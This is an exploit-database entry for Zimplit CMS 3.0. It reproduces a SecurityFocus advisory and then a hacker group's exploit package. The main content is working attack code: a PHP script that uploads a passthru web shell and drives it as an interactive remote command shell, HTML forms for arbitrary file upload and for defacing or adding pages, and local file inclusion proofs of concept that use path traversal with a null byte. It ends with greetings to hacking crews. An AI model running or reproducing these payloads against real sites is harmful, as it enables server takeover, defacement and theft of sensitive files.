source: https://www.securityfocus.com/bid/53990/info

Zimplit CMS is prone to multiple local file-include vulnerabilities and an arbitrary file-upload vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.

Zimplit CMS 3.0 is vulnerable; other versions may also be affected.

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0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : Zimplit CMS v3.0 <= (FU/XSRF/LFI) Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com | www.inj3ct0rs.com
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com * www.dis9.com
# platform : php
# Type : Multiple Vulnerabilities
# Tested on : Windows XP-SP3 (Fr) / Ubuntu 10.10 (En)
# Download : [http://www.zimplit.com/order.html]
###

# <3 <3 Greetings t0 Palestine <3 <3

# Exploit's / p0c's ====>

##### Exp(1) Arbitrary File/Shell Upload =>

<!-- p0c (1) -->
<?php

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print "\n|==================================================|";
print "\n|   Zimplit CMS v3.0 <= Arbitrary Shell Upload     |";
print "\n|  Provided By KedAns-Dz <ked-h[at]hotmail[.]com>  |";
print "\n|==================================================|\n";
if ($argc < 2)
{
 print "\nUsage  : php $argv[0] [host] [path]";
 print "\nExample : php $argv[0] www.p0c.tld /zimplit/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = "--31337\r\n";
$data .= "Content-Disposition: form-data; name=\"File\"; filename=\"k3d.php\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--31337--\r\n";
$packet  = "POST {$path}/zimplit.php?action=upload&folder=editor/files HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=31337\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\n Inj3ct0rK3d-Sh3lL#";
 $cmd = trim(fgets(STDIN)); # f.ex : C:\\k3d.php
 if ($cmd != "exit")
 {
  $packet = "GET {$path}k3d.php{$html[3]} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; # for Encoded You'r Shell
  $packet.= "Connection: close\r\n\r\n";
  $output = http_send($host, $packet);
  if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $output);
  print "\n{$shell[1]}";
 }
 else break;
}
?>

<!-- p0c (2) -->
<form action="http://[Target]/zimplit.php?action=upload&folder=editor/files" method="post">
<input type="file" name="file" size="50"/>
<input type="hidden" name="file" />
<input type="submit" value="Upload Sh3ll/File !" />
</form>

[+] Access Shell http://[Target]/editor/files/k3d.php
[+] Access Shell http://[Target]/editor/files/{ U R Shell }.*

##### Exp(2) Edit HTML (index.html) File =>

<form action='http://[target]/zimplit.php?action=save&file=index.html' method='post'>
<textarea id="html" name="html">
<center>
<h1> HaCked By KedAns-Dz </h1>
</center>
&lt;/textarea&gt;
<input type='submit' value='Edit HTML Page'>
</form>

##### Exp(3) Add new HTML File/Page =>

<form action='http://[target]/zimplit.php?action=new&file=dz0.html' method='post'>
<textarea id="html" name="html">
<center>
<h1> HaCked By KedAns-Dz </h1>
</center>
&lt;/textarea&gt;
<input type='submit' value='Creat new HTML Page'>
</form>

##### Exp(4) Local File Include =>

<!-- p0c (1) -->
<form action='http://[target]/zimplit.php?action=load&file=../../../../../../../[ LFI ]%00' method='post'>
<input type='submit' value='Included Local File'>
</form>

<!-- p0c (2) -->

<?php
$lfi =
curl_init("http://[Target]/editor/zimplit_js.php");
curl_setopt($lfi, CURLOPT_POST, true);
curl_setopt($lfi, CURLOPT_POSTFIELDS,
  array('lang'=>"../../../../../../../../[ LFI ]%00"));
curl_setopt($lfi, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($lfi);
curl_close($lfi);
print "$postResult";
?>

<!-- p0c (3) -->

<?php
$lfi =
curl_init("http://[Target]/editor/user.php");
curl_setopt($lfi, CURLOPT_POST, true);
curl_setopt($lfi, CURLOPT_POSTFIELDS,
  array('lang'=>"../../../../../../../../[ LFI ]%00"));
curl_setopt($lfi, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($lfi);
curl_close($lfi);
print "$postResult";
?>

#### << ThE|End

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Caddy-Dz * Mennouchi Islem * Rizky Oz * HMD-Cr3w
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta * HD Moore
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X * KeyStr0ke
# JF * Kha&miX * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * Chevr0sky * Black-ID * Barbaros-DZ
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * Dis9-UE * All Security and Exploits Webs
#============================================================================================================